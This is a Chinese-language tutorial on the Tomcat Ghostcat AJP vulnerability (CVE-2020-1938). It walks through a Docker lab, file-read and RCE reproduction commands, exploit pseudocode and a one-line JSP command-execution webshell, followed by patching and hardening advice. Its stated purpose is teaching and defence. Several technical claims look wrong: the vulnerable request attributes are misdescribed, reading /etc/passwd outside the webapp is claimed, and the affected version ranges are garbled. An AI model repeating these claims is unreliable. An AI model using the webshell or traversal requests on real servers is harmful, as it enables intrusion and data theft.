CVE-2020-1938幽灵猫漏洞:AJP协议文件读取与代码执行深度剖析
1. 项目概述幽灵之门CVE-2020-1938如果你负责的线上Java Web应用还在使用特定版本的Apache Tomcat那么你的服务器可能正敞开着一道“幽灵之门”。这道门就是CVE-2020-1938一个在2020年初被披露的严重文件读取漏洞。它不像那些需要复杂交互的远程代码执行漏洞攻击者甚至不需要知道你的应用长什么样就能悄无声息地读取服务器上的任意文件包括敏感的配置文件、源代码甚至是系统级的密钥。这个漏洞的官方编号是CNVD-2020-10487但圈内人更习惯叫它“Ghostcat”幽灵猫形象地描绘了它无声无息、来去无踪的特性。简单来说这个漏洞的核心在于Tomcat的AJP协议。AJPApache JServ Protocol是Tomcat与前端HTTP服务器如Apache HTTPD之间进行高效通信的一个二进制协议。为了方便内部通信Tomcat默认会开启一个AJP连接器监听在8009端口。问题就出在这个AJP连接器的实现上。在特定版本的Tomcat中攻击者可以通过构造恶意的AJP请求欺骗Tomcat将服务器上的任意文件内容通过AJP响应返回。更危险的是如果目标文件是一个可执行的JSP文件在某些配置下攻击者甚至能实现有限的代码执行。对于运维、安全研究以及Java开发者而言理解并复现这个漏洞不仅是掌握一项重要的安全攻防技能更是对自己负责的系统进行一次深刻的安全体检。本文将带你从零开始在可控的实验室环境中亲手打开并审视这扇“幽灵之门”理解其运作的每一个齿轮并最终学会如何将它牢牢关上。2. 漏洞原理深度剖析AJP协议与请求走私要理解幽灵猫必须先理解AJP。很多人把Tomcat单纯看作一个Web服务器但实际上在生产环境中它更多时候是以“应用服务器”的角色躲在前端Web服务器如Nginx或Apache HTTPD后面。前端服务器处理静态文件、负载均衡和SSL终结而动态的JSP/Servlet请求则通过AJP协议高效地转发给后端的Tomcat。AJP是一个基于TCP的二进制协议相比HTTP文本协议它更紧凑、更快。2.1 AJP连接器的关键属性在Tomcat的server.xml配置文件中默认就存在一个AJP连接器!-- 通常位于 $CATALINA_HOME/conf/server.xml -- Connector port8009 protocolAJP/1.3 redirectPort8443 /这个连接器有几个关键属性与漏洞息息相关port: 监听端口默认8009。protocol: 协议版本AJP/1.3。secret(可选): AJP认证密钥。如果设置了secret只有提供正确密钥的请求才会被处理。但默认情况下这个属性是空的这意味着任何能访问到服务器8009端口的客户端都可以直接与AJP服务对话。address(可选): 绑定地址。默认监听0.0.0.0即所有网络接口。在云服务器环境下这非常危险。2.2 漏洞的根源request_uri与path_info的混淆漏洞的核心在于Tomcat处理AJP请求时对request_uri和path_info这两个属性的解析逻辑存在缺陷。request_uri: 表示请求的原始URI例如/docs/index.html。path_info: 在Servlet规范中它代表在Servlet路径之后、查询字符串之前的部分通常用于“路径参数”。例如对于一个映射到/servlet/*的Servlet访问/servlet/extra/path时path_info就是/extra/path。在正常的HTTP请求中Tomcat会严格区分它们。但在处理AJP请求时受影响版本的代码主要是org.apache.coyote.ajp.AbstractAjpProcessor类存在一个逻辑错误当攻击者在AJP请求中精心设置req_uri属性对应request_uri和path_info属性时Tomcat在后续构建请求对象时错误地将path_info的部分内容拼接到了用于定位资源的最终路径中。攻击者可以这样构造恶意请求设置req_uri为一个已知的、存在的Web应用文件比如/docs/(一个默认存在的静态目录)。设置path_info为../../../../../../../etc/passwd。由于代码的拼接逻辑缺陷Tomcat在解析时可能会错误地将path_info这个本应作为“路径信息”处理的字符串直接当作文件系统路径的一部分进行解析。../是经典的目录遍历符号。经过错误的拼接和标准化normalize后Tomcat最终会尝试去读取/etc/passwd这个系统文件并将其内容通过AJP响应返回给攻击者。2.3 从文件读取到代码执行单纯的目录遍历读取文件已经很严重但幽灵猫的威胁不止于此。如果攻击者尝试读取一个位于Web应用目录下的JSP文件情况会变得更糟。Tomcat对JSP文件有一套处理流程当请求一个.jsp文件时Tomcat会先检查其是否已被编译如果没有则会调用Jasper编译器将其编译成Servlet的.java文件和对应的.class文件然后执行。关键在于触发JSP编译和执行的判断是基于请求的URI而不是最终读取的文件路径。攻击者可以这样利用构造AJP请求通过目录遍历让Tomcat读取一个Web应用之外的、攻击者可控内容的文本文件比如通过其他上传漏洞传上去的一个文本文件。但是如果直接读取一个非JSP文件Tomcat只会把它当作静态文本返回。为了实现代码执行攻击者需要“骗过”Tomcat。一种方法是利用“文件上传路径穿越”先上传一个包含JSP代码的文本文件到某个可访问目录比如/upload/但这个文件后缀名可能不是.jsp。然后构造一个特殊的AJP请求其req_uri指向一个不存在的、但以.jsp结尾的虚拟路径比如/upload/evil.jsp同时利用path_info的缺陷让Tomcat实际去读取刚才上传的那个文本文件。由于请求的URI (/upload/evil.jsp) 以.jsp结尾Tomcat会尝试将其作为JSP文件来编译和执行。而在处理过程中因为漏洞它实际读取并编译执行的是那个上传的文本文件内容从而实现了远程代码执行。注意这种RCE利用条件更为苛刻需要Web应用存在文件上传功能且上传路径可知并且Tomcat的配置允许JSP执行。但文件读取的利用条件则宽泛得多。3. 漏洞复现环境搭建与工具准备理论分析之后我们进入实战环节。安全研究必须在隔离的、可控的实验室环境中进行严禁对任何未授权的系统进行测试。3.1 靶机环境搭建我们将使用Docker快速搭建一个存在漏洞的Tomcat环境这是最安全、最便捷的方式。安装Docker确保你的实验机可以是物理机或虚拟机已安装Docker。以Ubuntu为例sudo apt-get update sudo apt-get install docker.io sudo systemctl start docker sudo systemctl enable docker # 将当前用户加入docker组避免每次用sudo sudo usermod -aG docker $USER # 退出终端重新登录生效拉取漏洞镜像社区有维护好的漏洞环境镜像。我们使用一个经典的靶场镜像。docker pull vulhub/tomcat:8.5.0这个镜像基于Tomcat 8.5.0版本该版本在受影响范围内。启动漏洞容器docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat vulhub/tomcat:8.5.0-d: 后台运行。-p 8080:8080: 将容器的HTTP端口映射到宿主机的8080端口方便我们通过浏览器访问Tomcat默认页。-p 8009:8009:关键将容器的AJP端口8009也映射出来这是我们攻击的入口。--name ghostcat: 给容器起个名字。验证环境打开浏览器访问http://your-lab-ip:8080。你应该能看到Apache Tomcat 8.5.0的默认欢迎页面。在终端执行docker ps应能看到名为ghostcat的容器正在运行。3.2 攻击机工具准备我们需要一个能发送原生AJP协议数据包的工具。最常用的是python-ajp库。我们直接使用一个集成了该库的漏洞利用脚本。安装Python3确保攻击机已安装Python3通常Linux/macOS已自带Windows需自行安装。下载利用脚本可以从安全研究社区获取针对CVE-2020-1938的利用脚本。这里我们假设使用一个名为ghostcat.py的脚本。你需要将其下载到本地。# 示例实际脚本来源需自行寻找合规的安全研究资源 # wget https://example.com/poc/ghostcat.py安装脚本依赖该脚本通常依赖python-ajp库。pip3 install python-ajp如果安装失败可以尝试从GitHub克隆源码安装git clone https://github.com/hypn0s/AJPy.git cd AJPy python3 setup.py install3.3 网络拓扑与配置确认在开始攻击前请再次确认你的环境靶机IP运行Docker容器的实验机IP地址。假设为192.168.1.100。端口开放确保宿主机的8080和8009端口在实验网络内是可访问的。如果是在虚拟机里检查网络连接模式桥接/NAT。防火墙临时关闭实验机和宿主机的防火墙避免干扰。# Ubuntu sudo ufw disable # CentOS sudo systemctl stop firewalld实操心得使用Docker搭建漏洞环境是安全学习的黄金标准。它完美实现了环境隔离、快速重置docker rm -f ghostcat然后重跑即可、版本精准控制。永远不要在物理主机或业务服务器上直接安装有漏洞的中间件进行测试。4. 漏洞复现实操步骤详解环境就绪工具在手现在我们开始一步一步地“打开”幽灵猫之门。4.1 信息收集确认AJP端口首先我们需要确认靶机的8009端口确实开放且是Tomcat AJP服务。# 使用nmap进行端口扫描 nmap -sV -p 8009 192.168.1.100预期输出中端口状态应为open服务识别可能显示ajp或未知。只要端口开放我们就可以进行下一步。4.2 基础文件读取利用我们首先尝试最经典的利用读取服务器上的任意文件。以读取Tomcat的配置文件web.xml为例它通常位于Web应用的WEB-INF/目录下这个目录受保护无法通过HTTP直接访问但通过AJP漏洞可以读取。使用下载的ghostcat.py脚本假设脚本用法为python3 ghostcat.py target_ip target_port file_pathpython3 ghostcat.py 192.168.1.100 8009 /WEB-INF/web.xml执行过程与结果分析脚本会构造一个恶意的AJP请求发往靶机的8009端口。请求中req_uri可能被设置为一个默认存在的静态资源路径如/或/docs/而path_info则通过目录遍历指向/WEB-INF/web.xml。如果漏洞存在靶机Tomcat会错误地解析这个请求读取web.xml文件的内容。脚本会将读取到的内容打印在终端上。你应该能看到web.xml文件的XML内容被输出。这证明了漏洞存在并且文件读取成功。尝试读取系统文件python3 ghostcat.py 192.168.1.100 8009 /../../../../../../etc/passwd这条命令尝试穿越目录读取Linux系统的用户账户文件/etc/passwd。如果成功你将看到系统的用户列表。这直观地展示了漏洞的严重性——攻击者可以从Web上下文跳转到整个文件系统。4.3 利用脚本核心代码拆解理解脚本在做什么比单纯运行脚本更重要。我们来看一下此类利用脚本的核心逻辑伪代码import ajp def exploit(target_ip, target_port, filename): # 1. 建立到目标AJP端口的Socket连接 sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # 2. 构造AJP Forward Request数据包 # 这是一个序列化的二进制数据包 request ajp.ForwardRequest() # 3. 设置关键属性 # 设置请求方法为GET request.method GET # 设置协议和服务器信息 request.protocol HTTP/1.1 request.req_uri / # 设置为根路径或一个已知存在的路径 request.remote_addr target_ip request.remote_host target_ip request.server_name target_ip request.server_port 80 # 4. 注入恶意的path_info属性 # 这是触发漏洞的关键 request.attributes.append((path_info, filename)) # filename 即 /../../../../etc/passwd # 5. 添加其他必要属性 request.attributes.append((context, )) # 通常为空 request.attributes.append((servlet_path, )) # 通常为空 request.attributes.append((jvm_route, )) # 6. 发送请求并接收响应 ajp.send(request, sock) response ajp.receive(sock) # 7. 解析并打印响应体即文件内容 if response.body: print(response.body.decode(utf-8, errorsignore)) else: print(未读取到内容或文件不存在。) sock.close()关键点在于第4步脚本向AJP请求的属性列表中添加了一个path_info属性其值就是我们想要读取的文件路径包含目录遍历。Tomcat的漏洞代码错误地处理了这个属性导致了文件读取。4.4 进阶尝试代码执行条件利用如前所述实现RCE需要更多条件。我们模拟一个更理想的场景假设我们通过其他方式知道Tomcat有一个文件上传功能上传路径为/upload/并且我们成功上传了一个内容为JSP Webshell的文本文件shell.txt其内容为% Runtime.getRuntime().exec(request.getParameter(cmd)); %。我们的目标是让Tomcat以JSP方式执行这个shell.txt。首先确认文件已上传假设其物理路径对应Web路径为/upload/shell.txt。构造利用请求欺骗Tomcat我们不能直接读取/upload/shell.txt因为Tomcat会把它当静态文本返回。我们需要让Tomcat“认为”它正在请求一个JSP文件但实际读取的是我们的文本文件。这需要利用漏洞中关于请求URI和实际文件路径分离的特性。在某些利用脚本中可以通过同时控制req_uri和path_info来实现。一个可能的利用命令尝试具体参数取决于脚本实现python3 ghostcat_rce.py 192.168.1.100 8009 /upload/shell.jsp /upload/shell.txt这里脚本可能会将req_uri设置为/upload/shell.jsp一个不存在的.jsp文件而将path_info设置为/upload/shell.txt实际存在的文件。漏洞代码的错误拼接可能导致Tomcat以处理JSP请求的流程去编译和执行shell.txt的内容。如果成功访问http://192.168.1.100:8080/upload/shell.jsp?cmdwhoami就可能执行系统命令。请注意这种利用成功率受Tomcat版本、配置、文件权限等多重因素影响在默认的Docker靶场环境中可能无法直接成功但它揭示了漏洞的理论上限。注意事项在实际渗透测试中文件读取漏洞往往比直接RCE更有价值。通过读取配置文件如web.xml,context.xml,server.xml、数据库连接文件、源代码等攻击者可以获取大量信息为后续的深入攻击如SQL注入、逻辑漏洞利用、密码破解铺平道路。幽灵猫首先是一个强大的信息泄露漏洞。5. 漏洞修复与安全加固方案复现漏洞是为了更好地防御。针对CVE-2020-1938有以下多层次的安全加固方案。5.1 官方补丁升级最根本的解决方案是升级Tomcat到不受影响的版本。受影响版本Apache Tomcat 9.x 9.0.31Apache Tomcat 8.x 8.5.51Apache Tomcat 7.x 7.0.100安全版本Apache Tomcat 9.0.31 及以上Apache Tomcat 8.5.51 及以上Apache Tomcat 7.0.100 及以上升级步骤访问Apache Tomcat官网下载最新稳定版。备份当前Tomcat的conf,webapps,logs,work目录以及所有自定义配置。停止Tomcat服务。替换Tomcat安装目录保留备份。将备份的配置文件和应用程序还原到新版本中。启动Tomcat并进行全面功能测试。5.2 临时缓解措施如果无法立即升级如果因为兼容性等问题无法立即升级可以采取以下立即可行的缓解措施1. 禁用AJP连接器推荐如果业务架构中未使用AJP协议即没有用Apache HTTPD等前端服务器通过AJP与Tomcat集成最彻底的方法就是直接关闭它。 编辑$CATALINA_HOME/conf/server.xml找到如下行Connector port8009 protocolAJP/1.3 redirectPort8443 /将其注释掉或删除!-- Connector port8009 protocolAJP/1.3 redirectPort8443 / --重启Tomcat生效。之后攻击者将无法连接到8009端口。2. 为AJP连接器设置强密码Secret如果必须使用AJP务必为其设置一个复杂且保密的secret。 编辑server.xml修改AJP连接器配置Connector port8009 protocolAJP/1.3 redirectPort8443 address127.0.0.1 secretYourStrongSecretHere /secret: 设置一个高强度、随机的字符串作为密钥。所有通过AJP连接的前端服务器如Apache也必须配置相同的密钥。address127.0.0.1: 将监听地址限制为本地回环防止来自网络的直接攻击。这是极其重要的一步即使设置了secret如果监听在0.0.0.0仍然存在被暴力破解或中间人攻击的风险。3. 使用网络防火墙限制访问在操作系统或云平台安全组层面设置规则只允许可信的前端服务器IP地址访问Tomcat服务器的8009端口。例如在Linux中使用iptables# 只允许IP为192.168.1.50的前端服务器访问8009端口 iptables -A INPUT -p tcp -s 192.168.1.50 --dport 8009 -j ACCEPT iptables -A INPUT -p tcp --dport 8009 -j DROP5.3 安全配置最佳实践除了针对此漏洞的修复以下Tomcat安全配置最佳实践应成为常态最小权限原则运行不要使用root用户运行Tomcat。创建一个专用的、低权限的系统用户如tomcat来运行Tomcat服务。useradd -r -m -U -d /opt/tomcat -s /bin/false tomcat chown -R tomcat: /opt/tomcat sudo -u tomcat /opt/tomcat/bin/startup.sh删除或禁用默认应用生产环境中应移除webapps目录下的docs,examples,host-manager,manager等默认应用它们可能包含已知漏洞或暴露管理接口。强化server.xml配置为所有连接器HTTP和AJP设置address属性限制监听IP。禁用不必要的方法在web.xml的security-constraint中限制HTTP方法。设置严格的Resource和Realm配置。定期更新与漏洞扫描订阅Tomcat安全公告定期更新版本。使用Nessus, OpenVAS等漏洞扫描工具定期对服务进行扫描。6. 排查技巧与深度防御思考即使打了补丁安全也是一个持续的过程。以下是一些排查技巧和深度防御思路。6.1 如何判断系统是否曾被利用如果怀疑系统可能已被攻击可以检查以下日志和痕迹Tomcat访问日志默认的访问日志不记录AJP请求。你需要确保AJP访问日志被开启。在server.xml的AJP连接器中添加以下属性Connector ... enableLookupsfalse redirectPort8443 patterncombined directorylogs prefixlocalhost_ajp_access_log suffix.txt/重启后会在logs目录生成localhost_ajp_access_log.[date].txt文件。检查其中是否有异常的、包含大量../的请求路径。系统日志检查/var/log/auth.log(Ubuntu/Debian) 或/var/log/secure(CentOS/RHEL)查看是否有异常的用户登录或sudo提权记录。攻击者读取/etc/passwd或/etc/shadow后可能会尝试暴力破解。文件系统异常检查Web根目录下是否出现陌生的、特别是以.jsp或.jspx结尾的可疑文件。使用find命令结合文件修改时间进行排查。find /path/to/tomcat/webapps -name *.jsp -mtime -1 # 查找一天内修改过的jsp文件网络连接监控使用netstat或ss命令查看是否有异常的外连IP连接到8009端口或从服务器发起外连。netstat -antp | grep :80096.2 针对AJP协议的深度监控由于AJP是二进制协议传统的WAFWeb应用防火墙可能无法有效解析和检测其攻击载荷。需要考虑部署支持AJP解析的下一代WAF或IPS一些商业或开源的深度包检测DPI设备可以解码AJP协议并进行规则匹配。在Tomcat前部署AJP代理并开启日志使用一个轻量级代理如使用Nginx的stream模块监听AJP端口将流量转发给Tomcat并在代理层记录完整的AJP请求数据用于事后审计。应用层监控在Java应用层面可以通过实现自定义的Valve或Filter对请求的path_info和servlet_path等属性进行合法性校验过滤包含../等危险字符的请求。6.3 从漏洞复现中学到的安全启示CVE-2020-1938给我们上了生动的一课默认配置即危险Tomcat默认开启AJP且无认证监听所有接口。这再次印证了“最小服务原则”任何不必要的服务都应默认关闭或严格限制。协议安全同等重要开发和安全人员往往更关注HTTP/S接口的安全而忽略了内部通信协议如AJP, RMI, JMX。这些协议通常缺乏像HTTP那样成熟的审计、加密和防护生态。输入验证的普适性漏洞根源是未对path_info属性进行有效的规范化normalize和路径穿越检查。所有来自外部的输入无论通过什么协议、什么字段都必须视为不可信的必须经过严格的验证和过滤。这不仅适用于HTTP参数也适用于HTTP头、Cookie、文件路径、以及像AJP这样的二进制协议属性。纵深防御不要依赖单一的安全边界。即使修复了Tomcat漏洞也应通过网络分区、主机防火墙、严格的文件系统权限、定期审计等多层防御机制降低被突破后的影响范围。我个人在多次内网渗透测试中发现即便在2023年依然有大量企业的测试环境甚至生产环境存在未授权AJP端口暴露在公网或内网大范围区域的情况。一次简单的端口扫描nmap -p 8009 10.0.0.0/8配合此漏洞的利用往往能成为撕开内网防线的第一道口子。因此将这个漏洞的排查与修复纳入日常的安全运维清单是每个基础设施守护者的必修课。